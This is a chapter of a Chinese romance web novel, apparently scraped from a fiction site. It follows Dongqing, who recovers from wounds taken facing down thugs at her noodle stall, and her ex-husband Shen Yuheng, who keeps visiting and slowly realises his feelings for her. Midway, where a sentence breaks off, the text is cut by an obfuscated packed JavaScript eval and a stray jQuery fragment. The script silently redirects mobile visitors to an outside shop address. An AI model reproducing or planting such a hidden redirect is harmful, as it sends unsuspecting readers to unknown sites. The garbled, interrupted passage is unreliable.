文趣网 > 其他小说 > 与侯府世子和离后 > 16. 揭穿
    冬青在医馆包扎好伤口,大夫又开了内服外用的药。她拿好药,刚出医馆就看到了站在门口等着的沈玉珩。

    沈玉珩就那样直直的站着,定定地看着冬青,眼底的情绪疯狂翻涌。

    虽然上次冬青拒绝了他的帮忙,可毕竟夫妻一场,他还是放心不下,吩咐福安找人注意着南市这头的动静。今日那伙人一来,福安就来禀报了。他片刻不敢耽搁,立刻赶了过来。

    刚一到,就看到她胳膊上那一片刺目的红。等她去了医馆,问了围观之人后才知,她拿刀与人对峙被划伤,又被人掐住脖子无法呼吸,整张脸憋得青紫。

    光听他们的描述就能想象到当时的情形有多惊险,她一个女子,是怎么敢的?

    他只觉胸口堵得慌,已经说不出内心到底是何种感受了。初听时震惊、不可置信,接着就是铺天盖地而来的心疼和怜惜。

    他此刻才知,她到底是多么刚烈不屈的女子!

    等情绪稍微平复,细想才觉不对劲,兵马司的人怎么来的这么及时?

    他收到消息就赶来了,但他们比他更快。按距离来算,他们应当也是那伙人一来就有人报了官,才会赶来得这么及时。但那时事情尚未闹大,谁会这么早就去报官?

    这只能说明,有人提前安排好了报官的人。至于这个人是谁,那就不言而喻了。

    她还有阿轩,为了弟弟她不可能置性命于不顾。她之所以敢和他们拼命,是因为早就留了后手,这样这一切才说得通。

    怪不得她不要他帮忙,那时她就已经在计划着这些了吧。

    她怎么如此大胆,如此不顾惜自己!她怎么……就这么不稀罕他的帮助!

    想到这些,沈玉珩哑着嗓子问:“你知道自己在干什么吗?要是稍有不慎,你不要命了吗?你怎么这么胆大妄为?”

    他一开始还压抑着自己,到最后声音越来越大,话中的情绪浓的化不开。责怪,心疼,无力……还有深深的恐惧和后怕。

    冬青有些愕然的看着沈玉珩,她从未见过他如此失控的样子。但还是别过头,梗着脖子道:“不关你的事。”而后就想绕过他离开。

    沈玉珩这才察觉刚刚说话声大了些,立刻就拦住她解释道:“我不是那个意思,我只是……只是太过担心你,才会口不择言。”

    冬青脚步微顿,却什么都没说,径直离去了。

    沈玉珩看着冬青的背影逐渐走远,招来福安,吩咐他送冬青回家。

    福安回到知行居向沈玉珩回话:“……简姑娘阿弟来了……她不让我帮忙,我死赖着不走她也没办法,这才让我摸到车把手……那车可真重……我亲眼看着他们姐弟进的门……”

    沈玉珩轻轻颔首,福安将要退下,犹豫了下才问:“世子爷,我看少……简姑娘并不稀罕您帮她,可您为什么还……您对四小姐,都没这么上心过。”

    沈玉珩一怔,是啊,他为什么呢?

    一开始,他看到她现在这般艰难,除了不解她为何会到了如此境地,更多的是想要帮她。

    抛去两人过去夫妻一场的事实,她还曾救过他性命,在清溪村的日子是他此生最轻松的时刻,更何况他曾经还对她……

    当初的事早已过去,他们也算是朋友,于情于理,他都应该帮她一把。

    后来,她的置之不理和冷言冷语让他冷了心,可再次听到她消息还是忍不住去看她。听到有人心慕她时竟将他人和自己比较,听到她出事更是心急如焚……他对她,似乎早就超出了对普通朋友的关心。

    可他们早已和离,她也不愿与他有任何瓜葛,他也不明白自己为什么要做这些。沈玉珩心乱如麻,想不明白,索性不再想。

    冬青这次受伤,反应最大的当属阿轩了。

    那日他照例去南市接冬青,到了地方才看到一片狼藉,地上还有血迹,他心跳顿时加快。

    隔壁的安叔受冬青所托替她看着摊子,见阿轩来了,便将事情的来龙去脉跟他说了。听闻冬青受伤,他立马就要去医馆找她,刚跑出几步远,冬青就回来了。

    当他看到冬青染血的衣袖和脖颈泛红的手印,霎时红了眼眶,哽着嗓子喊了声“阿姐”,再也说不出话。

    冬青笑着说“没事”,又伸手去摸他头,却被他躲开。

    “你不是答应我不会和他们硬碰吗?”他声音颤抖,冬青听出了他话中的害怕和担忧。

    冬青安慰道:“阿姐没有和他们硬碰,他们这不是已经被抓走了吗?”

    可现在的阿轩已经没那么容易被忽悠,反问道:“那你为什么会受这么多伤?”

    说着,他眼泪掉下来,“阿姐,再过几个月我就满十二岁了。你不要再把我当小孩子,什么事情都瞒着我了,我也想保护你。”

    冬青温柔的笑,“我是你阿姐,当然应该保护你。等你长大了,再保护阿姐,好不好?”

    阿轩闷着没有说话。

    本以为已经将他哄好,谁知回到家,他照常帮着做事,因为她作手受伤不便,还将熬药、端水等活都揽了去,可就是不跟她说话。冬青这才知,这次他是真的生气了。

    可当冬青装作手疼打翻了碗时,他还是急冲冲跑进来,一脸焦急地问她怎么了。冬青借机跟他说了好久的话,好说歹说这才让他原谅她。

    冬青在家休养了十来天,再支摊时,天气已经暖和了,街上的人都换上了轻薄的衣裳。

    她专程买了几包糕点,分给安叔以及其他帮忙的邻近摊主。没想到大家连连推辞,直说她为南市办了件大好事,怎么还能要她的东西。冬青劝了好久,这才让他们收下。

    冬青刚支好摊,福安这头就收到了消息。他一个下人,虽然不懂世子爷到底是怎么想的,却也知道他对冬青很上心,是以立马就禀报了上去。

    沈玉珩虽然只淡淡应了声“知道了”,但福安从小就跟在他身边,立马就从他微妙的表情中看出,他其实很在意。

    果然,第二天,沈玉珩手头的事都已忙完,却故意磨磨蹭蹭的不走,待看到蒋大人起身,这才跟了上去。

    “蒋大人这是要回家还是去哪?不如我送你一程。”

    对方却摆手,“我这是打算去找个小店用些饭食,也不顺路,就不劳烦沈大人了。”

    沈玉珩早就打听清楚了,蒋大人老家在西北,家中还有七十岁的老母,故而妻子留在了老家照看。

    蒋大人和妻子是少年夫妻,感情甚笃。到了永安城后也没纳妾,家中也没有请厨子,只有几个浆洗洒扫的老仆,顺带着做些灶上的事。因此,他每日散了衙多半是去外面的食肆吃饭。

    沈玉珩这话可谓是明知故问。

    听了蒋大人的回答,沈玉珩挑眉,道:“哦?可是去南市吃面?倒也不麻烦,正好我今日想多走走,正要从那里经过。”

    蒋大人却道:“听说前段日子‘面条西施’勇斗歹徒受了伤,已经十几日没支摊了,说起来她也算是女中豪杰了。”

    勇斗歹徒?女中豪杰?沈玉珩不由失笑,她也的确配得上这些称谓。

    “可我似乎听说她又回来摆摊了呢,莫不是我听岔了?”沈玉珩说道。

    蒋大人一听这话,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499433|202660||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眼睛都亮了。他已经多日没吃到好吃的面食了,馋那一口馋的不行,当下就决定改道南市。

    又见到沈玉珩,冬青感觉内心都已经麻木了。实在是他来这里的次数太多,她已经可以做到面不改色的忽略他了。

    冬青笑着跟蒋大人打招呼,待看到他身旁的沈玉珩时,又变得面无表情。

    蒋大人本不是个心细之人,但此时也意识到她对沈玉珩态度的不寻常,不禁问道:“沈大人可是何时得罪了简小娘子,怎么她对你好似有些不满?”

    沈玉珩苦笑道:“可能吧……”

    冬青将面端了过去,跟两人再无任何交流。

    这时,阿轩突然急冲冲地跑来,停下来时整个人气喘吁吁的,冬青连声让他慢些。

    蒋大人是这的熟客了,也认识阿轩,见他跑的这般着急,问道:“阿轩可是有什么遇到了好事,怎么如此激动?”

    阿轩这才看到蒋大人,知道他是吏部的大官,整理好衣衫和他见礼问好。待看到一旁的沈玉珩时,脸色立刻沉下来,“你怎么又来了?”话中不欢迎之意甚是明显。

    蒋大人一听这话,这才觉出不对劲来,听起来他们以前应当是认识的,只是不知为何姐弟俩都对沈大人一副不待见的样子。

    堂堂侯府世子,又是朝堂新贵,一般人巴结都还来不及。不过这是人家的私事,他也不便多问。

    冬青却皱起眉头,她与沈玉珩如何是她的事,她不希望阿轩因为这样一个不值得的人,忘了自己的修养和气度,更不希望他长成一个斤斤计较、小肚鸡肠之人。

    “阿轩!”冬青叫他。

    阿轩见冬青脸色不好,听出她话中暗含的阻止之意,没再多说。又从怀中拿出信,道:“阿姐,王大嫂来信了。”

    冬青面上一喜,连忙上前接过信。当初离开时,冬青特意回了清溪村跟王大嫂一家道别,王大嫂当时便叮嘱她到永安城安定下来要给她去个信。

    她和阿轩安顿好以后就给她写了信寄回去,可却一直没收到回信,拆开信看了才知,前一阵子他们忙着春播不得闲,等忙完了就立马到镇上找人回了信寄过来。

    王大嫂说他们一家都好,信的末尾还说起了冬青三叔一家。

    开了春,简青松生了大病,可看了好几个大夫都说不出到底是什么病,四处求医问药花了不少钱,可病却越来越重,现如今竟是连床都下不得。

    他那个儿子也是个不孝子,眼看治不好了,花出去的银子都打了水漂,索性不管他老子了,一文钱都不给。

    一家子隔几日就要吵一架,村里人一开始还劝,现在都见怪不怪了,还有很多人说这都是欺负冬青他们姐弟俩的报应。

    冬青看了这些却并不见得多高兴,他们能有今日那都是他们应得的。她奶奶还在时,便偏心三叔这个小儿子,宠的没边,养成了横行霸道的性子。现在他更是将自己的儿子也养成了游手好闲、目无尊卑的模样,他自己种下的苦果,怨不得别人。

    冬青一副波澜不惊的样子,一旁的沈玉珩此刻却受到了极大的震撼,她不是不识字吗?何时竟学会了读书认字?

    当初在清溪村时,他只是提到书上讲的药材,她就满眼崇拜地看他,还说以后一定要让阿轩也去学堂念书,成为他这样学识渊博的读书人。

    没想到,短短几年不见,她不仅做到了当初的承诺,让阿轩进了永安城有名的学堂,竟然自己也学会了认字。

    她身上,到底还有多少惊喜是他不知道的?

    直到此刻,他才意识到,他似乎从来没有真正了解过她。